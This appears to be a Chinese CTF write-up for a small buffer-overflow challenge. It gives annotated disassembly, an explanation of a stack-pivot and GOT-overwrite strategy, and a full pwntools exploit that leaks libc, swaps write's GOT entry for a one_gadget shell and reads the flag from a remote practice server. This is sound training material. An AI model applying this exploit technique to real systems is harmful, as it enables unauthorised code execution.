一道小题整了好久
pie没打开,got表也可以写
程序内容很少
.text:0000000000400481 sub_400481 proc near ; CODE XREF: start+A↑p
.text:0000000000400481
.text:0000000000400481 buf = byte ptr -40h
.text:0000000000400481
.text:0000000000400481 push rbp
.text:0000000000400482 mov rbp, rsp
.text:0000000000400485 sub rsp, 40h
.text:0000000000400489 mov edx, 100h ; nbytes
.text:000000000040048E lea rsi, [rbp+buf] ; buf
.text:0000000000400492 mov edi, 0 ; fd
.text:0000000000400497 call _read
.text:000000000040049C lea rdi, [rbp+buf]
.text:00000000004004A0 mov rdx, rax
.text:00000000004004A3 call sub_40044F
.text:00000000004004A8 lea rsi, [rbp+buf] ; buf
.text:00000000004004AC mov edi, 1 ; fd
.text:00000000004004B1 call _write
.text:00000000004004B6 leave
.text:00000000004004B7 retn
.text:00000000004004B7 sub_400481 endp
先读0x100到rbp-0x40,显然有溢出,然后用函数处理一下(就是字母前一半移到后一半,后一半移到前一半)然后把写的东西输出。
思路:
- 在got表的signal这个位置作为buf直接调用后边write这一段可以输入got表得到libc
- 但是输出后got.signal+40这个地得有个rbp+ret,所以要提前移到这个后边预写上
- 预写的这段要移栈到got.write+40,这样下回就可以修改got表将write写成one_gadget
这里第1次写0x6010a8(a0的位置有占用,只能到a8,实际到在b0-1的位置(利用前边的0绕过函数修改)写输出got表后的返回移栈和ret
第2次栈已经移到0x6010a8,在0x601068的位置写 \0*7 + 0x601100(到一个空白区域)+ rbp:0x601070-1 + 0x40049c(只有写没有读,leave ret时用的前边写入的值)
第3次移栈到got.write+0x40-1准备下次修改got表
修改got表里的write为one[1]
完整exp:
from pwn import *
elf = ELF('./pwn')
context.arch = 'amd64'
local = 0
if local == 1:
p = process('./pwn')
libc_elf = ELF('/home/shi/pwn/libc6_2.27-3u1/lib64/libc-2.27.so')
one = [0x4240e, 0x42462, 0xc4f7f, 0xe31fa, 0xe31ee]
libc_start_main_ret = 0x21a87
else:
p = remote('node4.buuoj.cn', 29711)
libc_elf = ELF('../libc6_2.27-3ubuntu1_amd64.so')
one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
libc_start_main_ret = 0x21b97
context.log_level = 'debug'
#0x601030 elf.got['signal']
#1,move stack 0x601068 +0x40
rop = flat(b'\x00'*0x40,0x6010a8, 0x400489)
p.send(rop.ljust(0x100, b'\x00'))
p.recv(0x100)
#2, wrtie rop2.rbp,rop2.ret 0x601100,0x400489:read_write rop1.rbp,ret signal-1:0x601030+40-1, 0x40049c:write
rop = b'\x00'*7 + p64(0x601100) + p64(0x400489) + b'\x00'*0x29
rop+= flat(0x601030 + 0x40 -1, 0x40049c)
p.send(rop.ljust(0x100, b'\x00'))
p.recv(0x100) #
libc_base = u64(p.recv(0x100)[1:9]) - libc_elf.sym['signal']
one_gadget = libc_base + one[1]
print("libc:", hex(libc_base))
#gdb.attach(p, 'b*0x4004b6')
#3, move stack got.write +0x40-1
rop = flat(b'\x00'*0x40, 0x601057, 0x400489)
p.send(rop.ljust(0x100, b'\x00'))
p.recv(0x100)
#4, got.write->one_gadget
p.send(b'\x00'+ p64(one_gadget))
p.sendline(b'cat flag')
p.interactive()
这里有几个小坑:
一是检查函数会改内容,所以第1字符要设为0绕过检查
二是由于移栈都是改的rbp,没办法改rsp在写system(/bin/sh)时会出错,只能改got表,等运行到write的时候执行one_gadget